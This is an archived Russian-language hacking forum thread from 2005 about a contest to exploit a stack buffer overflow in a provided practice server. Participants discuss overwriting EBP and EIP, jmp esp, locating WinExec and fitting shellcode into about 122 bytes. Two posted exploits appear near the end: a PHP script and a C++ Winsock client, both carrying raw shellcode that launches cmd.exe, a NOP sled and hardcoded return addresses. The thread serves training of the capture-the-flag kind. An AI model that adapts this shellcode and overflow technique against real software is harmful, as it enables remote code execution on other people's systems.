Просмотр полной версии : Небольшой конкурс
Есть сервер (исходники и бинарник).
Надо написать сплойт (шаблон есть) который выполнит ф-ию fl() на сервере. Или запустит лок. шелл. Или повесит шелл на какойто порт.
Скачайте архив там есть подробное описание.
Круто )))
А я в этом ниЧё не понимаю.....
Похоже мало народу которые в этом понимают
да
я понимаю но зачем мне это ?!
Попробуй свои знания... Докажи что разбираешься
КЕЗ я попытаюсь, но честно говоря C++ хреновейше знаю!
Но кто не стучит тому не открывают =)))
C++ не так важно как технология переполнения
RevenAnt
09.04.2005, 16:26
Ну и я тоже сделал и отослал =)))
Просто но со вкусом ;)
З.Ы. Привет всем ;)
Там на самом деле все просто... даже думать не надо =) могу написать тутор для вызова функции fl()
Забыл сказать... Кто сделает будет в Элите
Хотя это и не так как делал я ... Но sosk4 сделал правильно...
Он В элите будет
Так RevenAnt тоже сделал...
Он тоже в элите... Я буду ждать ещё ответы... А потом напишу тутор по вашему способо и моему... (Мой с jmp esp)
thx. я хотел сделать чтоб он локальный шелл давал, но стало впадлу возится с нахождением адреса winexec... а так вообще все элементарно...
RevenAnt
09.04.2005, 19:46
thx =)
берем отладчик и пишем команду call WinExec и он ее переводит
в call [АДРЕС]
попробуйте ради интереса сделать шелл
Товарищи подскажите пожалуйста как CALL [40f0e8h] вот это к примеру перевести вот в это 0xff 0x15 0xe8 0xf0 0x40 0x00 ?
Буду очень благодарен.
Нифига про это не знаю кроме того что буфер взрывается от кол-ва помещеного в него инфы.
И если можно дайте програмку чтобы коневртировать плизз.
И если знаете где лежит можно и линк на нее.
Заранее пасиба
Блин я не пойму по какому адрессу находиться fl()
то ли по 00401090 или по 004010AD или по другим
=)
придется писать статью
НЕееет не надо погоди умоляю не пиши!!!!!!!!!!
RevenAnt
12.04.2005, 08:31
..гы... есть шелл ;) тока на серваке =(
...сервак падает, и открывает шелл =)
...буду дальше мучать ету идею ....
Если в окне сервера остается шелл, все ОК.
Но у тебя просто окно закрывается...
Используй Jmp Esp
Блин, пытаюсь внедрить шелл-код в стэк, но Windows 98 почему-то портит содержимое стэка =(((, а выше границы стэка я не могу ничего запихать, так как нельзя использовать 0 =(((, но сама функция fl уже вызывается......, пытаемся дальше....
Блин я не пойму по какому адрессу находиться fl()
то ли по 00401090 или по 004010AD или по другим
по 00401090 насколько я помню
RevenAnt
15.04.2005, 17:37
дааа...... buffer overflow - очнь важная техника ....
её надо знать и уметь юзать ..... =)
А я зделал радости полные штаны =))))))))
Только шелл не могу запустить где Winexe находить?
Kez Ты получил мой сплоит?
там всего 100 байт ... туда хрен засунеш шеллкод... только если хард кодед винексек.... или так называемый Staged шелкод... но писать у меня нету времени
сто байт - только те что заполнят буфер
а после него еще примерно 25 - уже переполнение из них 4 на Ebp и + 4 на Eip
сто байт - только те что заполнят буфер
а после него еще примерно 25 - уже переполнение из них 4 на Ebp и + 4 на Eip
сплоит для полу4ения локального шелла ушел на мыло.
Кстати, мой шелл-код занял всего 16 байт ;)
Кстати, мой шелл-код занял всего 16 байт
если там хард кодед... оффсет то он не всегда работать будет даже на локальной машине так как после каждого реюута в НТ буйсед системах ImageBase меняется.. придется подгонять генерик оффсет файндер а это не меньше 60 байт... winexec еще можно приделать... но бинд шелл уже никак :(
как из винды выташить WinExec адрес?
Адреса зависят от базы по которой загружена kernel32.dll
Насчет адреса - БЕРИ отладчик OllyDBG: goto->expression WinExec
И не получится у вас bindshell
кстати можно проще выловить offset WinExec
printf("%X\r\n", GetProcAddr(LoadLibrary("kernel32.dll"), "WinExec"));
:)
KEZ выложи оба видео по этой теме.Как у тебя удалось и как у Morph.Просто интересно помотреть,а в Си я вообще не силён.
KEZ выложи оба видео по этой теме.Как у тебя удалось и как у Morph.Просто интересно помотреть,а в Си я вообще не силён.
Народ придет и КЕЗ зделает как я прально понял, а то се равно народу мало.
народу много я статью сделал... сегодня будет наверное опубликована...
видео чуть позже будет
Kez пожалуйста, не публикуй статью, ф-ию я запустил, осталось шелл запустить, чверез пару дней опубликуй, пожалуйста........
Kez пожалуйста, не публикуй статью, ф-ию я запустил, осталось шелл запустить, чверез пару дней опубликуй, пожалуйста........
это точно, имхо лучше пока не публиковать.
или если все таки соберешся - придумай новое задание..
это -- как 2 байта, вот только биндшелл добью.
кто говорил что нельзя биндшелл...?
Что хорошо, что ф-ии работы с сокетами и loadlibrary, getprocadress(kernel32) есть в таблице импорта =)))
getprocaddress(kernel32) - это нетрезвый бред обкурившевогося крякера )) =) шутка
ну повесь биндшелл
dinar_007
23.04.2005, 13:51
А приз какой?
Kez ни как не могу дождаться статьи или видео.Просьба можешь мне скинуть на мыло или в Pm.Или хотя бы давай уже выкладывай его на сайт.Прошу.
RevenAnt
23.04.2005, 17:25
...гы.... какой ещё приз??? просто в "элиту" .... мене хватит,
тем более - шо вызов функции - то шо надо было сделать по стандарту - ваще нефиг делать ..... тока надо прочесть страницы две А4 и понять, и осмыслить ....... ну или иметь опыт .... =)))
P.s.
тоже жду статьи =) - ето так - к слову =)))
Жду статьи.( Может я сам и сделал бы ,да только я ни разу ничего подобного не делал)
Так что пора уже статью выкладывать...
Kez СТАТЬЮ ПРОШУ!!!!!!!!!!!!
А я понял, как расширить кадр стека!!!!!!!!, шелл код влезит !!!!!, но вот, если мне не будет влом писать биндшелл под 98-й, то напишу.... ;)
Лутче бы квест сделали.... Я например C вообще не знаю..
А вообще на какое время планируется выход статьи???
Kez, давай уже статью, а лучше видео. У меня все-равно прога заглючила.
RevenAnt
27.04.2005, 00:16
да ну? шо честно?
Kez, статью очень хочется!!!!!!!!!!!!!!!!!!!!!
Да знаю я, Егор немного медлит со статьей...
Там будет часть 2 про bindshell!
:)) Похоже, Егорыч не о переполнении буфера, а о взломе Пентагона статью пишет.
Kez, а видео будет???????????????????
м-да... детский сад!
ладненько, я уже отправил биндшелл KEZу на почту.
ну что, кто нибудь еще?
если у кого есть конкретные вопросы по иньекции биндшела, спрашиваете прямо сдесь.
всем остальным http://www.google.com/search?q=buffer+overflow
аууу... где все? что, неужели всем стало резко не интересно?
cha0s, мне ужасно интересно, но без наглядного примера я не могу понять, как это делается.
Народ подождите с Видео очень хочется до всего самому допереть....
cha0s, биндшелл я пишу, но мне усердия не хватает, в моём варианте, я даж ESP и EBP в конце как надо ставлю....., а ещё я решил разбить шелл код на несколько частей:
1) Изменяет код функции test, чтобы изменить команды работы со стеком в ней(кадр стека больше будет...), славо богу есть ещё и область для align, туда мона свой код запихать...
2) После того как первый шеллкод, всё это сделал, мы посылаем второй шеллкод.... - биндшелл
Изменяет код функции test
интересно... если функция тест в секции .text которая READABLE | EXECUTABLE
как же ты что-то в ней меняешь...
разве что в исходнике, но это не интересно
и главное ЗАЧЕМ?
всеравно в запросе ты можешь передать только ~120 байт кода
зачем же мучать кадр стека функции тест
чтото тут ерунду пишут... вообщем мы с cha0sом сделаем статью. я может видео.
я про основы, вызов ф-ии и лок шелл. а он про бинд шелл...
кстати не 120 байт а 122 байта передать можно...
cha0s, тут неразбериха получается, мы ж договорились про статью...
пиши пока я тоже буду
прикольный конкурс :) , тока с елитой прогнали конкретно, ето же детский сад
"...УУУ а я 31337..." :d
RevenAnt
01.05.2005, 12:37
так шо, реально бинд уместить в 120+ байт?
кстати, а че такое бинд? :d
Для тех кто очень хочет но неможет:
Intro_to_Win32_stack_overflows.pdf (http://phr34k.game-host.org/ebook/)
Простите если ето както нарушает условия конкурса.
да не... только один человек пока сделал bindshell
никто не говорил что в 122 байта... там два раза посылается...
скоро вы все увидите...
RevenAnt
03.05.2005, 10:09
два раза посылаеться???
=[___________]
хочу ето увидеть....... =)
и понять =)
А у меня клиент не подключается к порту. Kez, чё делать??
Разбираюсь с документацией (http://phr34k.game-host.org/ebook/)
наткнулся на такую хрень.
Там есть тутор по переполнению War-Ftpd.... но когда я отсылаю
USER AAAAAAAAAAAAAAAAA~~~ (800 bytes)
не чего не происходит вначале думал мало байтов, потом заметил
что сервер не понимает что я хочу от него у меня такое чувство что я
что то не досылаю.
Посмотрел в готовом сплойте там в конце посылается \r\n, пробовал
не помогает... насколько я понял нужно как то указать что запрос закончен чтобы
сервак начал его обрабатывать а как я не знаю... прошу помощи
Сейчас у cha0sa нет времени, ждите... Он должен сделать bindshell...
а тут про Buffer Overflow написано =)
тока на инглише...=(
http://collegebums.org/?p=15
БЫСТРЕЙ Kez СТАТЬИ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! МОЖНО СТОЛЬКО ЖДАТЬ?!?!?!?!Я УЖЕ УСТАЛ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ПРОШУ СТАТЬЮ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!А РАЗВЕ ВИДЕО-ДЕМОНСТРАЦИЯ НЕ МЕНЬШЕ БЫ ВРЕМЕНИ ВЗЯЛА????????????
я же сказал, что cha0s медлит я уже написал
Ну а когда будет примерно всё готово.То Егор кинул (вот это я НИКОГДА не говорил, я сказал что он был занят - прим. кез) ,то этот медлит.
а мне нравится что Kez медлит я успел допереть сам (не до шелла пока конечно)
.... много чего еще понял по пути к победе... ;)
Слушайте, кто-нибудь уже шелл заклепал??
А то я уже...
А вот кто бы мне помог его на порт повесить?? Ниче не получается.
Если кто повесил, отпишите пожалуйста. Мне интересно, в чем моя ошибка.
все там получается. хотя не скажу что это очень просто...
Вашу... Я же немогу выложить то что я написал, НЕ ПОКАЗАВ как сделать bind
ну так чё там с переполнением буфера и внедрение шел кода?
Да за это время можно было 500 раз переполнить и шелл написать.
Что-то затихли все...
Что статья уже вышла??
<?
# fl - Вызов функции fl()
# cmd - запуск командного интерпретатора - cmd.exe
$overflow = "cmd";
# WinExec адрес - kernel32.dll
# Чтобы достать адрес WinExec, качаем прогу:
# http://nst.void.ru/download/arwin.exe
# Usage:
# arwin.exe kernel32.dll WinExec
# Result: WinExec is located at 0x7c86114d in kernel32.dll
# # # # # # #
# WinXP -
# WinXP sp1 -
# WinXP sp2 - \x4D\x11\x86\x7C (7C86114D)
# # # # # # #
# Win2k sp1 -
# Win2k sp2 -
# Win2k sp3 -
# Win2k sp4 -
# # # # # # #
# Win98 -
# Win98 SE -
# # # # # # #
$winexec_addr = "\x4D\x11\x86\x7C";
# exploit
$srv = fsockopen("127.0.0.1", 8877);
if($overflow=="fl") $eip = "\xA8\x10\x40\x00";
if($overflow=="cmd") $eip = "\xC4\xFE\x12\x00";
for($i=0; $i<77; $i++) $nop .="\x90";
$nst = "waaaaa".
# cmd
"\x33\xC0\x50\x68\x43\x4D\x44\x20\x54\xB8".
$winexec_addr.
"\xFF\xD0\xEB\xFE".
$nop.
"AAAA". # EBP
$eip; # EIP
fwrite($srv, $nst);
print "Shellcode length:".strlen($nst);
?>
Да эт не интересно, вот бы посмотреть как два раза отослать код и сделать bins shell
может ктонить урлом на доку поделится?
давно я тут не был - было много дел..
но уже все позади, теперь думаю тема начнет развиваться быстрее
Раз вопрос подняли, скажу.
Я уже доделал статью. Осталось только убрать оттуда мат и смайлики )) т.к. писал я ее ночами. Сплойт для bindshella тоже готов. И мой и cha0sa.
Так что осталось чуть чуть. (Извините что так торможу)
ну париш, давай выкладывай
да он парит, тянит чегота.. уже всё готова, и нехрена невыкладывает
сам бинд инфу нарыть можно.... но мне интересно что значит посылается 2 раза....
как тогда с памятью работать что это будут за адреса?...
ждемммм..................
after 40 years ..
KEZ'ovi4.. ну, чёё...... старики.... я вот вспомнил что должен был выложить статью и мувик, но я забыыыыл.. тьяп..тьяп..тьяп.. ..... .. эээ... а по что я? что я только что говорил?.. ай ладно пойду передачю Фортачки посматрю.. Старуха ниси жрать! Тут кино наченается!! ОК мой дорогой.. уже бигу.. (посккрипивая костями..)
Статья доделана. Дня через три повесим. (Пока будет ещё статья Задохлика).
конечно будет биндшелл и расказ (от меня, чаос пропал) как его сделать
Rabid Rabbit
09.10.2005, 04:30
Хм, жаль я немного при*****л:) Давненька не был в ваших краях, аднака... Вощем КЕЗ те грили ужо ниаднакратна чо крива пишиш. Павтаряца нибуду:) Аднака мне видица чо и думаишь ты тожа крива (ну или нестандартна, если панимать пад этим чо ты ездешь из масквы в питер чериз камсамольск на амуре). Карочи я тут падумал малеха и решил забацать типа два-в-одном:)
//Типа-развивалочка для маленьких: найди дохуя отличий от "Client.cpp" в архиве "overflow.zip" :)
//Впадлу было коментить, ели еть вапросы пачему чота тама сделана так а ни еначе - задывайти,
//могет быть отвечу:) Пару-тройку падсказок аднака расставил:) Сатреть очинь унимательна:)
#include <winsock2.h>
#include <conio.h>
#pragma comment (lib, "ws2_32.lib")
//смиииирна! равнение на параграф! :)
char expl_data[109]="\x8B\x44\x24\xFC\x6A\x05\x83\xC0\x0C\x50\xFF\xD5\x 63\x6D\x64\x20";
//зачении в сигменти данных и так перивернуты->пишим пряма! нахуя было марочица?
int ebp=0x77E6FD35; //А это kernel32.WinExec
int eip=0x00401090; //кхе кхе
#define explsiz sizeof(expl_data)
char expl_size = explsiz;
bool waitfl;
#define progname "overflow_exploit"
//падаждем паддаждем а то нивидна нихера
int cexit(int reason, char* msg){
cprintf(msg);
if (waitfl) {
cprintf("Press any key to exit.\n");
getch();
}
return reason;
}
int main( int argc, char* argv[] ){
WSADATA wsaData;
SOCKET client_socket;
sockaddr_in server_addr;
if(strcmp(argv[0],progname)) waitfl=true; else waitfl=false;
cprintf( "Server.exe TEST EXPLOIT.\nBy [YOU_NICK].\nThis exploit can overflow server cmd_data buffer and execute function fl().\n\n" );
cprintf( "+Starting Winsock...\n" );
if (WSAStartup(0x0202, &wsaData )) return cexit(1,"+Error initialise sockets API...\n");
cprintf( "+Creating client socket...\n" );
client_socket = socket( AF_INET, SOCK_STREAM, 0 );
if (client_socket == INVALID_SOCKET) return cexit(2,"+Error while create socket...\n");
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons( 8877 );
server_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );
cprintf( "+Connecting to 127.0.0.1 on port 8877...\n" );
if (SOCKET_ERROR == connect(client_socket, (LPSOCKADDR)&server_addr, sizeof( server_addr )))
return cexit(3,"+Error while connection...\n");
cprintf( "+Sending exploit codes %d bytes\n", explsiz);
memset(&expl_data[16], 0x90, explsiz-9-16);//NOP После отработки fl() упрвление передается на этот код
memcpy(&expl_data[explsiz-9],&ebp,4);
memcpy(&expl_data[explsiz-9+4],&eip,4);
expl_data[explsiz]=0;
send( client_socket, &expl_size, 1, 0 );
send( client_socket, expl_data, explsiz, 0 );
shutdown(client_socket, 2);
closesocket(client_socket);
WSACleanup();
return cexit(0, "OK\n");
}
интересно... если функция тест в секции .text которая READABLE | EXECUTABLE
как же ты что-то в ней меняешь...
разве что в исходнике, но это не интересно
Да, бля, песец как интересна:) Но увы не мне. Тебе же придеца доучить пратектид моду. К сегменту кода мона обращацы чериз селектор сегмента даных патамушты ни мелкасофт ни багленд нихера не хатят прислушиваца к рекаминдациям интел и даже силектар стека указываит на тот же физ адрес. Канкретнее: ss==ds!=cs, но физ адрес и ds cs адин и тот жи, в чом моно убидица пасатрев ЛДТ. Пасему если хошь пиризаписать cs:XXXXXXXX то эта делаица легко, напр. так: mov ds:[XXXXXXXX], 12345678h
P.S. Ничо чта так падробна? Эта у миня проста планавае мераприятие па барьбе с ламерствам:) Даешь песать статьи граматна андака! А у каго у вас ищо есть план? Тады мы идем к вам!:)
Rabid Rabbit
09.10.2005, 04:36
Гмы, у первам предлажении я вощем папытался выразить мыслю чо сажалею в связи с тим чо нимного припизднился/пропизднился/апаздал кароче ...
а че такое? скачал ваш архив, начал распаковывать. Выдает ошибку в Crc
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot